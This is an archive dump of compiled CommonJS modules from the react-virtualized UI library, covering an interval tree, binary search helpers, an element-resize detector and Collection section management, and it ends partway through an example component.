      if (!isRowLoaded({
        index: _index
      })) {
        rangeStopIndex = _index;
      } else {
        break;
      }
    }

    unloadedRanges.push({
      startIndex: rangeStartIndex,
      stopIndex: rangeStopIndex
    });
  } // Check to see if our first range ended prematurely.
  // In this case we should scan backwards to try filling our :minimumBatchSize.


  if (unloadedRanges.length) {
    var firstUnloadedRange = unloadedRanges[0];

    while (firstUnloadedRange.stopIndex - firstUnloadedRange.startIndex + 1 < minimumBatchSize && firstUnloadedRange.startIndex > 0) {
      var _index2 = firstUnloadedRange.startIndex - 1;

      if (!isRowLoaded({
        index: _index2
      })) {
        firstUnloadedRange.startIndex = _index2;
      } else {
        break;
      }
    }
  }

  return unloadedRanges;
}
/**
 * Since RV components use shallowCompare we need to force a render (even though props haven't changed).
 * However InfiniteLoader may wrap a Grid or it may wrap a Table or List.
 * In the first case the built-in React forceUpdate() method is sufficient to force a re-render,
 * But in the latter cases we need to use the RV-specific forceUpdateGrid() method.
 * Else the inner Grid will not be re-rendered and visuals may be stale.
 *
 * Additionally, while a Grid is scrolling the cells can be cached,
 * So it's important to invalidate that cache by recalculating sizes
 * before forcing a rerender.
 */


function forceUpdateReactVirtualizedComponent(component) {
  var currentIndex = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;
  var recomputeSize = typeof component.recomputeGridSize === 'function' ? component.recomputeGridSize : component.recomputeRowHeights;

  if (recomputeSize) {
    recomputeSize.call(component, currentIndex);
  } else {
    component.forceUpdate();
  }
}commonjs/vendor/intervalTree.js000064400000022561151677406000012704 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = createWrapper;

var _binarySearchBounds = _interopRequireDefault(require("./binarySearchBounds"));

/**
 * Binary Search Bounds
 * https://github.com/mikolalysenko/interval-tree-1d
 * Mikola Lysenko
 *
 * Inlined because of Content Security Policy issue caused by the use of `new Function(...)` syntax in an upstream dependency.
 * Issue reported here: https://github.com/mikolalysenko/binary-search-bounds/issues/5
 **/
var NOT_FOUND = 0;
var SUCCESS = 1;
var EMPTY = 2;

function IntervalTreeNode(mid, left, right, leftPoints, rightPoints) {
  this.mid = mid;
  this.left = left;
  this.right = right;
  this.leftPoints = leftPoints;
  this.rightPoints = rightPoints;
  this.count = (left ? left.count : 0) + (right ? right.count : 0) + leftPoints.length;
}

var proto = IntervalTreeNode.prototype;

function copy(a, b) {
  a.mid = b.mid;
  a.left = b.left;
  a.right = b.right;
  a.leftPoints = b.leftPoints;
  a.rightPoints = b.rightPoints;
  a.count = b.count;
}

function rebuild(node, intervals) {
  var ntree = createIntervalTree(intervals);
  node.mid = ntree.mid;
  node.left = ntree.left;
  node.right = ntree.right;
  node.leftPoints = ntree.leftPoints;
  node.rightPoints = ntree.rightPoints;
  node.count = ntree.count;
}

function rebuildWithInterval(node, interval) {
  var intervals = node.intervals([]);
  intervals.push(interval);
  rebuild(node, intervals);
}

function rebuildWithoutInterval(node, interval) {
  var intervals = node.intervals([]);
  var idx = intervals.indexOf(interval);

  if (idx < 0) {
    return NOT_FOUND;
  }

  intervals.splice(idx, 1);
  rebuild(node, intervals);
  return SUCCESS;
}

proto.intervals = function (result) {
  result.push.apply(result, this.leftPoints);

  if (this.left) {
    this.left.intervals(result);
  }

  if (this.right) {
    this.right.intervals(result);
  }

  return result;
};

proto.insert = function (interval) {
  var weight = this.count - this.leftPoints.length;
  this.count += 1;

  if (interval[1] < this.mid) {
    if (this.left) {
      if (4 * (this.left.count + 1) > 3 * (weight + 1)) {
        rebuildWithInterval(this, interval);
      } else {
        this.left.insert(interval);
      }
    } else {
      this.left = createIntervalTree([interval]);
    }
  } else if (interval[0] > this.mid) {
    if (this.right) {
      if (4 * (this.right.count + 1) > 3 * (weight + 1)) {
        rebuildWithInterval(this, interval);
      } else {
        this.right.insert(interval);
      }
    } else {
      this.right = createIntervalTree([interval]);
    }
  } else {
    var l = _binarySearchBounds["default"].ge(this.leftPoints, interval, compareBegin);

    var r = _binarySearchBounds["default"].ge(this.rightPoints, interval, compareEnd);

    this.leftPoints.splice(l, 0, interval);
    this.rightPoints.splice(r, 0, interval);
  }
};

proto.remove = function (interval) {
  var weight = this.count - this.leftPoints;

  if (interval[1] < this.mid) {
    if (!this.left) {
      return NOT_FOUND;
    }

    var rw = this.right ? this.right.count : 0;

    if (4 * rw > 3 * (weight - 1)) {
      return rebuildWithoutInterval(this, interval);
    }

    var r = this.left.remove(interval);

    if (r === EMPTY) {
      this.left = null;
      this.count -= 1;
      return SUCCESS;
    } else if (r === SUCCESS) {
      this.count -= 1;
    }

    return r;
  } else if (interval[0] > this.mid) {
    if (!this.right) {
      return NOT_FOUND;
    }

    var lw = this.left ? this.left.count : 0;

    if (4 * lw > 3 * (weight - 1)) {
      return rebuildWithoutInterval(this, interval);
    }

    var r = this.right.remove(interval);

    if (r === EMPTY) {
      this.right = null;
      this.count -= 1;
      return SUCCESS;
    } else if (r === SUCCESS) {
      this.count -= 1;
    }

    return r;
  } else {
    if (this.count === 1) {
      if (this.leftPoints[0] === interval) {
        return EMPTY;
      } else {
        return NOT_FOUND;
      }
    }

    if (this.leftPoints.length === 1 && this.leftPoints[0] === interval) {
      if (this.left && this.right) {
        var p = this;
        var n = this.left;

        while (n.right) {
          p = n;
          n = n.right;
        }

        if (p === this) {
          n.right = this.right;
        } else {
          var l = this.left;
          var r = this.right;
          p.count -= n.count;
          p.right = n.left;
          n.left = l;
          n.right = r;
        }

        copy(this, n);
        this.count = (this.left ? this.left.count : 0) + (this.right ? this.right.count : 0) + this.leftPoints.length;
      } else if (this.left) {
        copy(this, this.left);
      } else {
        copy(this, this.right);
      }

      return SUCCESS;
    }

    for (var l = _binarySearchBounds["default"].ge(this.leftPoints, interval, compareBegin); l < this.leftPoints.length; ++l) {
      if (this.leftPoints[l][0] !== interval[0]) {
        break;
      }

      if (this.leftPoints[l] === interval) {
        this.count -= 1;
        this.leftPoints.splice(l, 1);

        for (var r = _binarySearchBounds["default"].ge(this.rightPoints, interval, compareEnd); r < this.rightPoints.length; ++r) {
          if (this.rightPoints[r][1] !== interval[1]) {
            break;
          } else if (this.rightPoints[r] === interval) {
            this.rightPoints.splice(r, 1);
            return SUCCESS;
          }
        }
      }
    }

    return NOT_FOUND;
  }
};

function reportLeftRange(arr, hi, cb) {
  for (var i = 0; i < arr.length && arr[i][0] <= hi; ++i) {
    var r = cb(arr[i]);

    if (r) {
      return r;
    }
  }
}

function reportRightRange(arr, lo, cb) {
  for (var i = arr.length - 1; i >= 0 && arr[i][1] >= lo; --i) {
    var r = cb(arr[i]);

    if (r) {
      return r;
    }
  }
}

function reportRange(arr, cb) {
  for (var i = 0; i < arr.length; ++i) {
    var r = cb(arr[i]);

    if (r) {
      return r;
    }
  }
}

proto.queryPoint = function (x, cb) {
  if (x < this.mid) {
    if (this.left) {
      var r = this.left.queryPoint(x, cb);

      if (r) {
        return r;
      }
    }

    return reportLeftRange(this.leftPoints, x, cb);
  } else if (x > this.mid) {
    if (this.right) {
      var r = this.right.queryPoint(x, cb);

      if (r) {
        return r;
      }
    }

    return reportRightRange(this.rightPoints, x, cb);
  } else {
    return reportRange(this.leftPoints, cb);
  }
};

proto.queryInterval = function (lo, hi, cb) {
  if (lo < this.mid && this.left) {
    var r = this.left.queryInterval(lo, hi, cb);

    if (r) {
      return r;
    }
  }

  if (hi > this.mid && this.right) {
    var r = this.right.queryInterval(lo, hi, cb);

    if (r) {
      return r;
    }
  }

  if (hi < this.mid) {
    return reportLeftRange(this.leftPoints, hi, cb);
  } else if (lo > this.mid) {
    return reportRightRange(this.rightPoints, lo, cb);
  } else {
    return reportRange(this.leftPoints, cb);
  }
};

function compareNumbers(a, b) {
  return a - b;
}

function compareBegin(a, b) {
  var d = a[0] - b[0];

  if (d) {
    return d;
  }

  return a[1] - b[1];
}

function compareEnd(a, b) {
  var d = a[1] - b[1];

  if (d) {
    return d;
  }

  return a[0] - b[0];
}

function createIntervalTree(intervals) {
  if (intervals.length === 0) {
    return null;
  }

  var pts = [];

  for (var i = 0; i < intervals.length; ++i) {
    pts.push(intervals[i][0], intervals[i][1]);
  }

  pts.sort(compareNumbers);
  var mid = pts[pts.length >> 1];
  var leftIntervals = [];
  var rightIntervals = [];
  var centerIntervals = [];

  for (var i = 0; i < intervals.length; ++i) {
    var s = intervals[i];

    if (s[1] < mid) {
      leftIntervals.push(s);
    } else if (mid < s[0]) {
      rightIntervals.push(s);
    } else {
      centerIntervals.push(s);
    }
  } //Split center intervals


  var leftPoints = centerIntervals;
  var rightPoints = centerIntervals.slice();
  leftPoints.sort(compareBegin);
  rightPoints.sort(compareEnd);
  return new IntervalTreeNode(mid, createIntervalTree(leftIntervals), createIntervalTree(rightIntervals), leftPoints, rightPoints);
} //User friendly wrapper that makes it possible to support empty trees


function IntervalTree(root) {
  this.root = root;
}

var tproto = IntervalTree.prototype;

tproto.insert = function (interval) {
  if (this.root) {
    this.root.insert(interval);
  } else {
    this.root = new IntervalTreeNode(interval[0], null, null, [interval], [interval]);
  }
};

tproto.remove = function (interval) {
  if (this.root) {
    var r = this.root.remove(interval);

    if (r === EMPTY) {
      this.root = null;
    }

    return r !== NOT_FOUND;
  }

  return false;
};

tproto.queryPoint = function (p, cb) {
  if (this.root) {
    return this.root.queryPoint(p, cb);
  }
};

tproto.queryInterval = function (lo, hi, cb) {
  if (lo <= hi && this.root) {
    return this.root.queryInterval(lo, hi, cb);
  }
};

Object.defineProperty(tproto, 'count', {
  get: function get() {
    if (this.root) {
      return this.root.count;
    }

    return 0;
  }
});
Object.defineProperty(tproto, 'intervals', {
  get: function get() {
    if (this.root) {
      return this.root.intervals([]);
    }

    return [];
  }
});

function createWrapper(intervals) {
  if (!intervals || intervals.length === 0) {
    return new IntervalTree(null);
  }

  return new IntervalTree(createIntervalTree(intervals));
}commonjs/vendor/binarySearchBounds.js000064400000010103151677406000014012 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

/**
 * Binary Search Bounds
 * https://github.com/mikolalysenko/binary-search-bounds
 * Mikola Lysenko
 *
 * Inlined because of Content Security Policy issue caused by the use of `new Function(...)` syntax.
 * Issue reported here: https://github.com/mikolalysenko/binary-search-bounds/issues/5
 **/
function _GEA(a, l, h, y) {
  var i = h + 1;

  while (l <= h) {
    var m = l + h >>> 1,
        x = a[m];

    if (x >= y) {
      i = m;
      h = m - 1;
    } else {
      l = m + 1;
    }
  }

  return i;
}

function _GEP(a, l, h, y, c) {
  var i = h + 1;

  while (l <= h) {
    var m = l + h >>> 1,
        x = a[m];

    if (c(x, y) >= 0) {
      i = m;
      h = m - 1;
    } else {
      l = m + 1;
    }
  }

  return i;
}

function dispatchBsearchGE(a, y, c, l, h) {
  if (typeof c === 'function') {
    return _GEP(a, l === void 0 ? 0 : l | 0, h === void 0 ? a.length - 1 : h | 0, y, c);
  } else {
    return _GEA(a, c === void 0 ? 0 : c | 0, l === void 0 ? a.length - 1 : l | 0, y);
  }
}

function _GTA(a, l, h, y) {
  var i = h + 1;

  while (l <= h) {
    var m = l + h >>> 1,
        x = a[m];

    if (x > y) {
      i = m;
      h = m - 1;
    } else {
      l = m + 1;
    }
  }

  return i;
}

function _GTP(a, l, h, y, c) {
  var i = h + 1;

  while (l <= h) {
    var m = l + h >>> 1,
        x = a[m];

    if (c(x, y) > 0) {
      i = m;
      h = m - 1;
    } else {
      l = m + 1;
    }
  }

  return i;
}

function dispatchBsearchGT(a, y, c, l, h) {
  if (typeof c === 'function') {
    return _GTP(a, l === void 0 ? 0 : l | 0, h === void 0 ? a.length - 1 : h | 0, y, c);
  } else {
    return _GTA(a, c === void 0 ? 0 : c | 0, l === void 0 ? a.length - 1 : l | 0, y);
  }
}

function _LTA(a, l, h, y) {
  var i = l - 1;

  while (l <= h) {
    var m = l + h >>> 1,
        x = a[m];

    if (x < y) {
      i = m;
      l = m + 1;
    } else {
      h = m - 1;
    }
  }

  return i;
}

function _LTP(a, l, h, y, c) {
  var i = l - 1;

  while (l <= h) {
    var m = l + h >>> 1,
        x = a[m];

    if (c(x, y) < 0) {
      i = m;
      l = m + 1;
    } else {
      h = m - 1;
    }
  }

  return i;
}

function dispatchBsearchLT(a, y, c, l, h) {
  if (typeof c === 'function') {
    return _LTP(a, l === void 0 ? 0 : l | 0, h === void 0 ? a.length - 1 : h | 0, y, c);
  } else {
    return _LTA(a, c === void 0 ? 0 : c | 0, l === void 0 ? a.length - 1 : l | 0, y);
  }
}

function _LEA(a, l, h, y) {
  var i = l - 1;

  while (l <= h) {
    var m = l + h >>> 1,
        x = a[m];

    if (x <= y) {
      i = m;
      l = m + 1;
    } else {
      h = m - 1;
    }
  }

  return i;
}

function _LEP(a, l, h, y, c) {
  var i = l - 1;

  while (l <= h) {
    var m = l + h >>> 1,
        x = a[m];

    if (c(x, y) <= 0) {
      i = m;
      l = m + 1;
    } else {
      h = m - 1;
    }
  }

  return i;
}

function dispatchBsearchLE(a, y, c, l, h) {
  if (typeof c === 'function') {
    return _LEP(a, l === void 0 ? 0 : l | 0, h === void 0 ? a.length - 1 : h | 0, y, c);
  } else {
    return _LEA(a, c === void 0 ? 0 : c | 0, l === void 0 ? a.length - 1 : l | 0, y);
  }
}

function _EQA(a, l, h, y) {
  l - 1;

  while (l <= h) {
    var m = l + h >>> 1,
        x = a[m];

    if (x === y) {
      return m;
    } else if (x <= y) {
      l = m + 1;
    } else {
      h = m - 1;
    }
  }

  return -1;
}

function _EQP(a, l, h, y, c) {
  l - 1;

  while (l <= h) {
    var m = l + h >>> 1,
        x = a[m];
    var p = c(x, y);

    if (p === 0) {
      return m;
    } else if (p <= 0) {
      l = m + 1;
    } else {
      h = m - 1;
    }
  }

  return -1;
}

function dispatchBsearchEQ(a, y, c, l, h) {
  if (typeof c === 'function') {
    return _EQP(a, l === void 0 ? 0 : l | 0, h === void 0 ? a.length - 1 : h | 0, y, c);
  } else {
    return _EQA(a, c === void 0 ? 0 : c | 0, l === void 0 ? a.length - 1 : l | 0, y);
  }
}

var _default = {
  ge: dispatchBsearchGE,
  gt: dispatchBsearchGT,
  lt: dispatchBsearchLT,
  le: dispatchBsearchLE,
  eq: dispatchBsearchEQ
};
exports["default"] = _default;commonjs/vendor/detectElementResize.js000064400000020363151677406000014202 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = createDetectElementResize;

/**
 * Detect Element Resize.
 * https://github.com/sdecima/javascript-detect-element-resize
 * Sebastian Decima
 *
 * Forked from version 0.5.3; includes the following modifications:
 * 1) Guard against unsafe 'window' and 'document' references (to support SSR).
 * 2) Defer initialization code via a top-level function wrapper (to support SSR).
 * 3) Avoid unnecessary reflows by not measuring size for scroll events bubbling from children.
 * 4) Add nonce for style element.
 * 5) Added support for injecting custom window object
 **/
function createDetectElementResize(nonce, hostWindow) {
  // Check `document` and `window` in case of server-side rendering
  var _window;

  if (typeof hostWindow !== 'undefined') {
    _window = hostWindow;
  } else if (typeof window !== 'undefined') {
    _window = window;
  } else if (typeof self !== 'undefined') {
    _window = self;
  } else {
    _window = global;
  }

  var attachEvent = typeof _window.document !== 'undefined' && _window.document.attachEvent;

  if (!attachEvent) {
    var requestFrame = function () {
      var raf = _window.requestAnimationFrame || _window.mozRequestAnimationFrame || _window.webkitRequestAnimationFrame || function (fn) {
        return _window.setTimeout(fn, 20);
      };

      return function (fn) {
        return raf(fn);
      };
    }();

    var cancelFrame = function () {
      var cancel = _window.cancelAnimationFrame || _window.mozCancelAnimationFrame || _window.webkitCancelAnimationFrame || _window.clearTimeout;
      return function (id) {
        return cancel(id);
      };
    }();

    var resetTriggers = function resetTriggers(element) {
      var triggers = element.__resizeTriggers__,
          expand = triggers.firstElementChild,
          contract = triggers.lastElementChild,
          expandChild = expand.firstElementChild;
      contract.scrollLeft = contract.scrollWidth;
      contract.scrollTop = contract.scrollHeight;
      expandChild.style.width = expand.offsetWidth + 1 + 'px';
      expandChild.style.height = expand.offsetHeight + 1 + 'px';
      expand.scrollLeft = expand.scrollWidth;
      expand.scrollTop = expand.scrollHeight;
    };

    var checkTriggers = function checkTriggers(element) {
      return element.offsetWidth != element.__resizeLast__.width || element.offsetHeight != element.__resizeLast__.height;
    };

    var scrollListener = function scrollListener(e) {
      // Don't measure (which forces) reflow for scrolls that happen inside of children!
      if (e.target.className && typeof e.target.className.indexOf === 'function' && e.target.className.indexOf('contract-trigger') < 0 && e.target.className.indexOf('expand-trigger') < 0) {
        return;
      }

      var element = this;
      resetTriggers(this);

      if (this.__resizeRAF__) {
        cancelFrame(this.__resizeRAF__);
      }

      this.__resizeRAF__ = requestFrame(function () {
        if (checkTriggers(element)) {
          element.__resizeLast__.width = element.offsetWidth;
          element.__resizeLast__.height = element.offsetHeight;

          element.__resizeListeners__.forEach(function (fn) {
            fn.call(element, e);
          });
        }
      });
    };
    /* Detect CSS Animations support to detect element display/re-attach */


    var animation = false,
        keyframeprefix = '',
        animationstartevent = 'animationstart',
        domPrefixes = 'Webkit Moz O ms'.split(' '),
        startEvents = 'webkitAnimationStart animationstart oAnimationStart MSAnimationStart'.split(' '),
        pfx = '';
    {
      var elm = _window.document.createElement('fakeelement');

      if (elm.style.animationName !== undefined) {
        animation = true;
      }

      if (animation === false) {
        for (var i = 0; i < domPrefixes.length; i++) {
          if (elm.style[domPrefixes[i] + 'AnimationName'] !== undefined) {
            pfx = domPrefixes[i];
            keyframeprefix = '-' + pfx.toLowerCase() + '-';
            animationstartevent = startEvents[i];
            animation = true;
            break;
          }
        }
      }
    }
    var animationName = 'resizeanim';
    var animationKeyframes = '@' + keyframeprefix + 'keyframes ' + animationName + ' { from { opacity: 0; } to { opacity: 0; } } ';
    var animationStyle = keyframeprefix + 'animation: 1ms ' + animationName + '; ';
  }

  var createStyles = function createStyles(doc) {
    if (!doc.getElementById('detectElementResize')) {
      //opacity:0 works around a chrome bug https://code.google.com/p/chromium/issues/detail?id=286360
      var css = (animationKeyframes ? animationKeyframes : '') + '.resize-triggers { ' + (animationStyle ? animationStyle : '') + 'visibility: hidden; opacity: 0; } ' + '.resize-triggers, .resize-triggers > div, .contract-trigger:before { content: " "; display: block; position: absolute; top: 0; left: 0; height: 100%; width: 100%; overflow: hidden; z-index: -1; } .resize-triggers > div { background: #eee; overflow: auto; } .contract-trigger:before { width: 200%; height: 200%; }',
          head = doc.head || doc.getElementsByTagName('head')[0],
          style = doc.createElement('style');
      style.id = 'detectElementResize';
      style.type = 'text/css';

      if (nonce != null) {
        style.setAttribute('nonce', nonce);
      }

      if (style.styleSheet) {
        style.styleSheet.cssText = css;
      } else {
        style.appendChild(doc.createTextNode(css));
      }

      head.appendChild(style);
    }
  };

  var addResizeListener = function addResizeListener(element, fn) {
    if (attachEvent) {
      element.attachEvent('onresize', fn);
    } else {
      if (!element.__resizeTriggers__) {
        var doc = element.ownerDocument;

        var elementStyle = _window.getComputedStyle(element);

        if (elementStyle && elementStyle.position == 'static') {
          element.style.position = 'relative';
        }

        createStyles(doc);
        element.__resizeLast__ = {};
        element.__resizeListeners__ = [];
        (element.__resizeTriggers__ = doc.createElement('div')).className = 'resize-triggers';
        var resizeTriggersHtml = '<div class="expand-trigger"><div></div></div>' + '<div class="contract-trigger"></div>';

        if (window.trustedTypes) {
          var staticPolicy = trustedTypes.createPolicy('react-virtualized-auto-sizer', {
            createHTML: function createHTML() {
              return resizeTriggersHtml;
            }
          });
          element.__resizeTriggers__.innerHTML = staticPolicy.createHTML('');
        } else {
          element.__resizeTriggers__.innerHTML = resizeTriggersHtml;
        }

        element.appendChild(element.__resizeTriggers__);
        resetTriggers(element);
        element.addEventListener('scroll', scrollListener, true);
        /* Listen for a css animation to detect element display/re-attach */

        if (animationstartevent) {
          element.__resizeTriggers__.__animationListener__ = function animationListener(e) {
            if (e.animationName == animationName) {
              resetTriggers(element);
            }
          };

          element.__resizeTriggers__.addEventListener(animationstartevent, element.__resizeTriggers__.__animationListener__);
        }
      }

      element.__resizeListeners__.push(fn);
    }
  };

  var removeResizeListener = function removeResizeListener(element, fn) {
    if (attachEvent) {
      element.detachEvent('onresize', fn);
    } else {
      element.__resizeListeners__.splice(element.__resizeListeners__.indexOf(fn), 1);

      if (!element.__resizeListeners__.length) {
        element.removeEventListener('scroll', scrollListener, true);

        if (element.__resizeTriggers__.__animationListener__) {
          element.__resizeTriggers__.removeEventListener(animationstartevent, element.__resizeTriggers__.__animationListener__);

          element.__resizeTriggers__.__animationListener__ = null;
        }

        try {
          element.__resizeTriggers__ = !element.removeChild(element.__resizeTriggers__);
        } catch (e) {// Preact compat; see developit/preact-compat/issues/228
        }
      }
    }
  };

  return {
    addResizeListener: addResizeListener,
    removeResizeListener: removeResizeListener
  };
}commonjs/Collection/Section.js000064400000003427151677406000012442 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _types = require("./types");

/**
 * A section of the Window.
 * Window Sections are used to group nearby cells.
 * This enables us to more quickly determine which cells to display in a given region of the Window.
 * Sections have a fixed size and contain 0 to many cells (tracked by their indices).
 */
var Section =
/*#__PURE__*/
function () {
  function Section(_ref) {
    var height = _ref.height,
        width = _ref.width,
        x = _ref.x,
        y = _ref.y;
    (0, _classCallCheck2["default"])(this, Section);
    this.height = height;
    this.width = width;
    this.x = x;
    this.y = y;
    this._indexMap = {};
    this._indices = [];
  }
  /** Add a cell to this section. */


  (0, _createClass2["default"])(Section, [{
    key: "addCellIndex",
    value: function addCellIndex(_ref2) {
      var index = _ref2.index;

      if (!this._indexMap[index]) {
        this._indexMap[index] = true;

        this._indices.push(index);
      }
    }
    /** Get all cell indices that have been added to this section. */

  }, {
    key: "getCellIndices",
    value: function getCellIndices() {
      return this._indices;
    }
    /** Intended for debugger/test purposes only */

  }, {
    key: "toString",
    value: function toString() {
      return "".concat(this.x, ",").concat(this.y, " ").concat(this.width, "x").concat(this.height);
    }
  }]);
  return Section;
}();

exports["default"] = Section;commonjs/Collection/types.js000064400000003351151677406000012176 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.bpfrpt_proptype_SizeInfo = exports.bpfrpt_proptype_SizeAndPositionInfo = exports.bpfrpt_proptype_ScrollPosition = exports.bpfrpt_proptype_PositionInfo = exports.bpfrpt_proptype_Index = void 0;

var _propTypes = _interopRequireDefault(require("prop-types"));

var bpfrpt_proptype_Index = process.env.NODE_ENV === 'production' ? null : {
  "index": _propTypes["default"].number.isRequired
};
exports.bpfrpt_proptype_Index = bpfrpt_proptype_Index;
var bpfrpt_proptype_PositionInfo = process.env.NODE_ENV === 'production' ? null : {
  "x": _propTypes["default"].number.isRequired,
  "y": _propTypes["default"].number.isRequired
};
exports.bpfrpt_proptype_PositionInfo = bpfrpt_proptype_PositionInfo;
var bpfrpt_proptype_ScrollPosition = process.env.NODE_ENV === 'production' ? null : {
  "scrollLeft": _propTypes["default"].number.isRequired,
  "scrollTop": _propTypes["default"].number.isRequired
};
exports.bpfrpt_proptype_ScrollPosition = bpfrpt_proptype_ScrollPosition;
var bpfrpt_proptype_SizeAndPositionInfo = process.env.NODE_ENV === 'production' ? null : {
  "height": _propTypes["default"].number.isRequired,
  "width": _propTypes["default"].number.isRequired,
  "x": _propTypes["default"].number.isRequired,
  "y": _propTypes["default"].number.isRequired
};
exports.bpfrpt_proptype_SizeAndPositionInfo = bpfrpt_proptype_SizeAndPositionInfo;
var bpfrpt_proptype_SizeInfo = process.env.NODE_ENV === 'production' ? null : {
  "height": _propTypes["default"].number.isRequired,
  "width": _propTypes["default"].number.isRequired
};
exports.bpfrpt_proptype_SizeInfo = bpfrpt_proptype_SizeInfo;commonjs/Collection/SectionManager.js000064400000010437151677406000013734 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _Section = _interopRequireDefault(require("./Section"));

var _types = require("./types");

/**
 * Window Sections are used to group nearby cells.
 * This enables us to more quickly determine which cells to display in a given region of the Window.
 * 
 */
var SECTION_SIZE = 100;

/**
 * Contains 0 to many Sections.
 * Grows (and adds Sections) dynamically as cells are registered.
 * Automatically adds cells to the appropriate Section(s).
 */
var SectionManager =
/*#__PURE__*/
function () {
  function SectionManager() {
    var sectionSize = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : SECTION_SIZE;
    (0, _classCallCheck2["default"])(this, SectionManager);
    this._sectionSize = sectionSize;
    this._cellMetadata = [];
    this._sections = {};
  }
  /**
   * Gets all cell indices contained in the specified region.
   * A region may encompass 1 or more Sections.
   */


  (0, _createClass2["default"])(SectionManager, [{
    key: "getCellIndices",
    value: function getCellIndices(_ref) {
      var height = _ref.height,
          width = _ref.width,
          x = _ref.x,
          y = _ref.y;
      var indices = {};
      this.getSections({
        height: height,
        width: width,
        x: x,
        y: y
      }).forEach(function (section) {
        return section.getCellIndices().forEach(function (index) {
          indices[index] = index;
        });
      }); // Object keys are strings; this function returns numbers

      return Object.keys(indices).map(function (index) {
        return indices[index];
      });
    }
    /** Get size and position information for the cell specified. */

  }, {
    key: "getCellMetadata",
    value: function getCellMetadata(_ref2) {
      var index = _ref2.index;
      return this._cellMetadata[index];
    }
    /** Get all Sections overlapping the specified region. */

  }, {
    key: "getSections",
    value: function getSections(_ref3) {
      var height = _ref3.height,
          width = _ref3.width,
          x = _ref3.x,
          y = _ref3.y;
      var sectionXStart = Math.floor(x / this._sectionSize);
      var sectionXStop = Math.floor((x + width - 1) / this._sectionSize);
      var sectionYStart = Math.floor(y / this._sectionSize);
      var sectionYStop = Math.floor((y + height - 1) / this._sectionSize);
      var sections = [];

      for (var sectionX = sectionXStart; sectionX <= sectionXStop; sectionX++) {
        for (var sectionY = sectionYStart; sectionY <= sectionYStop; sectionY++) {
          var key = "".concat(sectionX, ".").concat(sectionY);

          if (!this._sections[key]) {
            this._sections[key] = new _Section["default"]({
              height: this._sectionSize,
              width: this._sectionSize,
              x: sectionX * this._sectionSize,
              y: sectionY * this._sectionSize
            });
          }

          sections.push(this._sections[key]);
        }
      }

      return sections;
    }
    /** Total number of Sections based on the currently registered cells. */

  }, {
    key: "getTotalSectionCount",
    value: function getTotalSectionCount() {
      return Object.keys(this._sections).length;
    }
    /** Intended for debugger/test purposes only */

  }, {
    key: "toString",
    value: function toString() {
      var _this = this;

      return Object.keys(this._sections).map(function (index) {
        return _this._sections[index].toString();
      });
    }
    /** Adds a cell to the appropriate Sections and registers it metadata for later retrievable. */

  }, {
    key: "registerCell",
    value: function registerCell(_ref4) {
      var cellMetadatum = _ref4.cellMetadatum,
          index = _ref4.index;
      this._cellMetadata[index] = cellMetadatum;
      this.getSections(cellMetadatum).forEach(function (section) {
        return section.addCellIndex({
          index: index
        });
      });
    }
  }]);
  return SectionManager;
}();

exports["default"] = SectionManager;commonjs/Collection/Collection.example.js000064400000024102151677406000014554 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf2 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var React = _interopRequireWildcard(require("react"));

var _immutable = _interopRequireDefault(require("immutable"));

var _ContentBox = require("../demo/ContentBox");

var _LabeledInput = require("../demo/LabeledInput");

var _AutoSizer = _interopRequireDefault(require("../AutoSizer"));

var _Collection = _interopRequireDefault(require("./Collection"));

var _CollectionExample = _interopRequireDefault(require("./Collection.example.css"));

// Defines a pattern of sizes and positions for a range of 10 rotating cells
// These cells cover an area of 600 (wide) x 400 (tall)
var GUTTER_SIZE = 3;
var CELL_WIDTH = 75;

var CollectionExample =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(CollectionExample, _React$PureComponent);

  function CollectionExample(props, context) {
    var _this;

    (0, _classCallCheck2["default"])(this, CollectionExample);
    _this = (0, _possibleConstructorReturn2["default"])(this, (0, _getPrototypeOf2["default"])(CollectionExample).call(this, props, context));
    _this.state = {
      cellCount: context.list.size,
      columnCount: _this._getColumnCount(context.list.size),
      height: 300,
      horizontalOverscanSize: 0,
      scrollToCell: undefined,
      showScrollingPlaceholder: false,
      verticalOverscanSize: 0
    };
    _this._columnYMap = [];
    _this._cellRenderer = _this._cellRenderer.bind((0, _assertThisInitialized2["default"])(_this));
    _this._cellSizeAndPositionGetter = _this._cellSizeAndPositionGetter.bind((0, _assertThisInitialized2["default"])(_this));
